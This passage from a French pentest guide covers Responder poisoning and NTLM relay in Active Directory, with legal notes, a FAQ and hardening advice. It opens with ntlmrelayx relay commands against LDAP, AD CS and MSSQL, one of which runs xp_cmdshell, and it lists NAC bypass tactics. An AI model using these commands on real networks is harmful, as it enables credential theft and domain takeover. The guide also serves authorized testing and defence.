# Outil : DHCPig pour la starvation, Responder DHCP module pour le rogue

# Scénario : SMB signing enforced partout

# Solution 1 : Relayer vers LDAP (pas de signing enforced par défaut)
python3 ntlmrelayx.py -t ldap://DC01.corp.local --delegate-access

# Solution 2 : Relayer vers HTTP (AD CS, Exchange, ADFS)
python3 ntlmrelayx.py -t http://ADCS01.corp.local/certsrv/certfnsh.asp --adcs

# Solution 3 : Relayer vers MSSQL
python3 ntlmrelayx.py -t mssql://SQLSRV.corp.local -q "EXEC xp_cmdshell 'whoami'"

# Scénario : EPA (Extended Protection) activé sur LDAP

# Solution : Relay vers des services sans EPA
# HTTP sans EPA, MSSQL, IMAP/SMTP (Exchange)

Responder face aux architectures Zero Trust

L'émergence des architectures Zero Trust modifie significativement le paysage pour les attaquants utilisant Responder. Le principe fondamental du Zero Trust — "ne jamais faire confiance, toujours vérifier" — s'oppose directement aux hypothèses sur lesquelles repose Responder, à savoir la confiance implicite accordée aux réponses broadcast sur un réseau local.

Impact de la micro-segmentation

Les architectures Zero Trust modernes implémentent une micro-segmentation qui isole chaque workload. Dans un environnement véritablement micro-segmenté, le trafic broadcast LLMNR et NBT-NS est confiné à des segments extrêmement réduits, limitant drastiquement la portée de Responder. Les solutions de micro-segmentation comme Illumio, Guardicore ou VMware NSX-T peuvent appliquer des politiques qui bloquent explicitement le trafic multicast sur les ports 5355 (LLMNR), 137 (NBT-NS) et 5353 (mDNS) entre les segments.

Cependant, en pratique, la micro-segmentation complète reste rare en 2026. La majorité des entreprises en sont encore aux premières phases de déploiement, avec une segmentation traditionnelle par VLAN. Les postes utilisateurs partagent généralement le même segment réseau, ce qui maintient l'efficacité de Responder pour la capture de credentials utilisateur. La micro-segmentation est plus avancée côté serveur, ce qui peut limiter les possibilités de relay NTLM vers des cibles à haute valeur.

Authentification moderne et impact sur le relay

Le déploiement progressif de Kerberos-only authentication, de Windows Hello for Business et de FIDO2 réduit la dépendance à NTLM. Microsoft a annoncé la dépréciation progressive de NTLM dans Windows 11 24H2 et Windows Server 2025, avec des contrôles granulaires permettant de bloquer NTLM par application ou par service. Dans un environnement où NTLM est effectivement désactivé :

• Responder peut toujours empoisonner les requêtes LLMNR/NBT-NS
• Mais les clients Windows ne tenteront pas d'authentification NTLM vers les serveurs rogue
• Le relay NTLM devient impossible si le protocole est désactivé sur la cible
• Les techniques Kerberos (Kerberoasting, AS-REP Roasting) restent des alternatives viables via d'autres vecteurs

En attendant la disparition complète de NTLM — qui prendra probablement encore plusieurs années vu la rétrocompatibilité nécessaire — Responder conserve toute sa pertinence. Le pentester moderne doit cependant anticiper ces évolutions et maîtriser les techniques alternatives pour les environnements les plus durcis.

Conditional Access et Network Access Control

Les solutions de NAC (Network Access Control) comme Cisco ISE, Aruba ClearPass ou Microsoft NPS ajoutent une couche de protection en vérifiant la conformité des postes avant de les autoriser sur le réseau. Dans un environnement NAC mature, un laptop d'attaquant non géré sera placé dans un VLAN de quarantaine sans accès au réseau corporate. Pour contourner cette protection, le pentester peut :

• Utiliser un adaptateur réseau USB avec l'adresse MAC d'un poste légitime (MAC spoofing)
• Exploiter un poste déjà authentifié sur le réseau comme pivot
• Identifier des ports réseau exemptés de NAC (imprimantes, téléphones IP, salles de réunion)
• Effectuer un bypass 802.1X via des techniques de shadow-in-the-middle si le NAC repose sur 802.1X sans MACsec

Le Conditional Access de Microsoft Entra ID (Azure AD) ajoute des vérifications supplémentaires pour l'accès aux ressources cloud, mais n'impacte pas directement le trafic réseau local exploité par Responder. Néanmoins, les politiques Conditional Access qui requièrent des appareils conformes (Intune-managed, Azure AD joined) limitent l'utilité des credentials capturés pour l'accès aux services cloud, même si les mots de passe sont crackés avec succès.

Considérations légales et éthiques

L'utilisation de Responder dans un contexte professionnel est encadrée par un cadre juridique strict. En France, les articles 323-1 à 323-8 du Code pénal sanctionnent lourdement l'accès frauduleux à un système de traitement automatisé de données (STAD). L'utilisation de Responder n'est légale que dans les cas suivants :

• Test d'intrusion mandaté — avec un contrat signé définissant le périmètre, les dates et les techniques autorisées
• Red Team autorisé — avec une lettre de mission et un ROE (Rules of Engagement) validé par la direction
• Lab personnel — sur votre propre infrastructure de test, isolée de tout réseau de production
• CTF et challenges — dans le cadre de compétitions de cybersécurité

En pentest professionnel, des précautions spécifiques s'appliquent à Responder :

• Toujours commencer par le mode Analyse (-A) pour évaluer l'impact potentiel
• Documenter chaque session d'empoisonnement (heures, durée, nombres de requêtes)
• Arrêter immédiatement si un service critique est perturbé
• Ne jamais relayer les credentials vers des systèmes de production critiques sans validation préalable
• Supprimer les hashes capturés à la fin de l'engagement (ou les chiffrer et les transmettre au client)

Le framework MITRE ATT&CK référence ces techniques sous T1557 (Adversary-in-the-Middle), T1557.001 (LLMNR/NBT-NS Poisoning) et T1187 (Forced Authentication). La connaissance de ces références est essentielle pour la rédaction des rapports de pentest et la communication avec les équipes défensives.

Évolution et futur de Responder

Le paysage des attaques de type poisoning évolue constamment. Plusieurs tendances se dessinent pour l'avenir de Responder et des techniques associées :

Durcissement progressif de Windows — Microsoft renforce graduellement les protections : LLMNR désactivé par défaut dans Windows Server 2025, SMB signing enforced par défaut, EPA sur LDAP. Ces évolutions réduisent la surface d'attaque mais ne l'éliminent pas complètement, car la rétrocompatibilité avec les anciennes versions reste un vecteur exploitable.

Émergence de nouveaux vecteurs — les techniques de coercion (PetitPotam, PrinterBug, DFSCoerce) renouvellent constamment l'intérêt de Responder en permettant de forcer des authentifications ciblées. Chaque nouveau service Windows découvert avec une fonctionnalité d'authentification forcée crée un nouveau vecteur pour le relay NTLM.

Intégration dans les frameworks automatisés — des outils comme NetExec (successeur de CrackMapExec), Certipy et BloodHound intègrent de plus en plus les résultats de Responder dans des chaînes d'attaque automatisées, réduisant le temps entre la capture initiale et la compromission du domaine.

Détection améliorée — les solutions EDR modernes et les SIEM cloud (Microsoft Sentinel, Elastic Security) intègrent des règles de détection spécifiques pour le poisoning LLMNR/NBT-NS. L'utilisation de honeypots et de deception technology rend les attaques Responder de plus en plus risquées en red team.

Malgré ces évolutions, Responder reste pertinent en 2026 pour plusieurs raisons : la migration vers des configurations sécurisées est lente (de nombreuses organisations n'ont toujours pas désactivé LLMNR), les nouveaux vecteurs de coercion renouvellent l'utilité du relay NTLM, et l'outil continue d'être activement maintenu par Laurent Gaffié avec des mises à jour régulières.

FAQ — Questions fréquentes sur Responder

Responder fonctionne-t-il si LLMNR est désactivé par GPO ?

Si LLMNR est désactivé par GPO, Responder ne pourra pas empoisonner les requêtes LLMNR. Cependant, plusieurs alternatives existent. D'abord, vérifiez si NBT-NS est également désactivé — souvent, les administrateurs oublient de désactiver les deux protocoles. Ensuite, WPAD peut toujours être exploité si l'auto-détection proxy est activée et qu'aucune entrée DNS WPAD n'existe. Enfin, la technique mitm6 (DHCPv6 poisoning) contourne complètement la désactivation de LLMNR/NBT-NS en opérant au niveau IPv6. En combinant Responder avec mitm6, vous pouvez capturer des hashes même dans un environnement durci contre les protocoles broadcast traditionnels.

Quelle est la différence entre NTLMv1 et NTLMv2 dans le contexte de Responder ?

NTLMv1 et NTLMv2 sont deux versions du protocole d'authentification NTLM. NTLMv1 utilise un hash basé sur DES, qui est cryptographiquement faible — un hash NTLMv1 peut être craqué ou converti en hash NT en quelques secondes via des services comme crack.sh. NTLMv2, utilisé par défaut depuis Windows Vista, intègre un challenge et un timestamp dans le calcul du hash, ce qui le rend résistant aux rainbow tables. Le cracking de NTLMv2 nécessite une attaque par dictionnaire ou brute-force avec hashcat (mode 5600). En pratique, sur un réseau moderne, vous capturerez presque exclusivement des hashes NTLMv2. La présence de hashes NTLMv1 indique des systèmes très anciens (Windows XP/2003) ou une configuration LmCompatibilityLevel incorrecte.

Peut-on utiliser Responder sur un réseau Wi-Fi corporate ?

Oui, Responder fonctionne sur Wi-Fi corporate tant que le réseau autorise le trafic broadcast/multicast entre les clients. Cependant, plusieurs limitations existent. De nombreux réseaux Wi-Fi d'entreprise implémentent l'isolation client (AP isolation), qui empêche la communication directe entre les clients sans fil — dans ce cas, les requêtes broadcast/multicast ne seront pas reçues par Responder. De plus, les réseaux 802.1X avec attribution dynamique de VLAN peuvent placer chaque client dans un VLAN isolé. En pratique, les réseaux Wi-Fi corporate bien configurés sont significativement plus résistants à Responder que les réseaux filaires. Pour les engagements sur Wi-Fi, mitm6 est souvent une meilleure option car il utilise DHCPv6 unicast.

Comment Responder gère-t-il les doublons de hashes ?

Responder détecte et enregistre les hashes uniques dans sa base de données SQLite (Responder.db). Lorsqu'un même utilisateur se réauthentifie, un nouveau hash est généré (car le challenge est différent à chaque fois), mais Responder identifie qu'il s'agit du même compte. Les fichiers de log texte contiennent tous les hashes capturés (y compris les doublons), tandis que la base SQLite maintient un index des comptes uniques. Pour le cracking, il suffit de prendre un seul hash par utilisateur — les multiples captures du même compte ne facilitent pas le cracking car chaque hash utilise un challenge différent.

Le relay NTLM fonctionne-t-il si la cible a SMB signing activé ?

Non, le relay NTLM vers SMB est bloqué si la cible a le SMB signing enforced (RequireSecuritySignature = 1). Le SMB signing garantit l'intégrité des messages via un HMAC basé sur la clé de session NTLM — l'attaquant ne possédant pas cette clé, il ne peut pas signer les messages relayés. Cependant, le relay reste possible vers d'autres protocoles : LDAP (sans channel binding), HTTP (sans EPA), MSSQL, IMAP, SMTP. C'est pourquoi la recommandation de sécurité va au-delà du simple SMB signing et inclut l'activation de l'EPA sur tous les services supportant NTLM.

Combien de temps faut-il laisser tourner Responder pour obtenir des résultats ?

Le temps nécessaire dépend fortement de l'environnement. Sur un réseau de 200+ postes avec LLMNR/NBT-NS activés, les premiers hashes arrivent généralement en 5-15 minutes. Le pic de capture se produit le matin (8h-10h) quand les utilisateurs se connectent et montent leurs lecteurs réseau. En mode WPAD, les captures sont plus continues car les postes émettent des requêtes WPAD périodiquement. Pour un engagement complet, une session de 2-4 heures sur une journée de travail permet de capturer un échantillon représentatif. Pour maximiser la couverture, répartir les sessions sur 2-3 jours à des horaires différents. En pentest professionnel, il est rare d'avoir besoin de plus de 8 heures cumulées de capture Responder.

Responder peut-il être détecté par un antivirus ou un EDR ?

Responder lui-même, étant un script Python exécuté sur la machine de l'attaquant, n'est pas détecté par les antivirus des postes victimes. La détection se fait plutôt au niveau réseau. Les solutions de type NDR (Network Detection and Response) peuvent identifier les patterns d'empoisonnement LLMNR/NBT-NS : réponses systématiques à toutes les requêtes depuis une même IP, volumes anormaux de réponses multicast, ou présence d'un serveur WPAD non répertorié. Des outils comme Respounder émettent des requêtes honeypot et alertent si un empoisonneur est actif. Côté EDR, la détection intervient principalement lors de l'exploitation post-capture : exécution de commandes via relay, dumping de SAM, mouvement latéral suspect.

Comment intégrer les résultats de Responder dans un rapport de pentest ?

Les résultats Responder doivent être documentés avec précision dans le rapport. Incluez : le nombre total de hashes uniques capturés, la répartition par protocole (SMB, HTTP, WPAD), le nombre de mots de passe crackés avec les temps de cracking, et les chemins d'attaque rendus possibles par les credentials obtenus. Classez la vulnérabilité comme Critique si elle mène à la compromission du domaine, Haute si des comptes à privilèges sont capturables. Référencez MITRE ATT&CK T1557.001 et CIS Benchmark pour les recommandations. Documentez clairement la chaîne d'attaque : "LLMNR poisoning → capture hash NTLMv2 de svc-backup → cracking en 3 minutes → accès admin à 15 serveurs → DCSync → compromission domaine". Cette chaîne causale est ce qui convainc le management d'investir dans les remédiations.

Conclusion

Responder incarne parfaitement la philosophie du pentest Active Directory : exploiter les faiblesses protocolaires fondamentales plutôt que les vulnérabilités logicielles ponctuelles. En 2026, malgré plus d'une décennie d'existence, l'outil reste d'une efficacité redoutable dans la majorité des environnements d'entreprise. La raison est structurelle : les protocoles LLMNR et NBT-NS sont activés par défaut sur Windows, et leur désactivation nécessite une action délibérée que de nombreuses organisations négligent.

Les techniques couvertes dans ce guide — du LLMNR poisoning basique au relay NTLM avancé vers AD CS en passant par les combinaisons avec mitm6 — forment un arsenal complet pour le pentester professionnel. La maîtrise de ces techniques est aussi essentielle pour les défenseurs : on ne peut protéger efficacement ce qu'on ne comprend pas en profondeur.

Les recommandations de durcissement sont claires et hiérarchisées : désactiver LLMNR et NBT-NS (impact immédiat et coût nul), enforcer le SMB signing (impact modéré), activer l'EPA sur LDAP et les services web (impact significatif), et déployer des honeypots de type Respounder pour la détection continue. Ces mesures, combinées à une segmentation réseau rigoureuse et une politique de mots de passe robuste, réduisent la surface d'attaque de Responder de manière drastique.

Pour aller plus loin dans la sécurisation de votre Active Directory, consultez nos guides sur le relay NTLM moderne, l'exploitation avec Impacket, les techniques Pass-the-Hash et le Kerberoasting. La sécurité Active Directory est un domaine en constante évolution — rester à jour sur les techniques offensives est la meilleure garantie d'une défense efficace.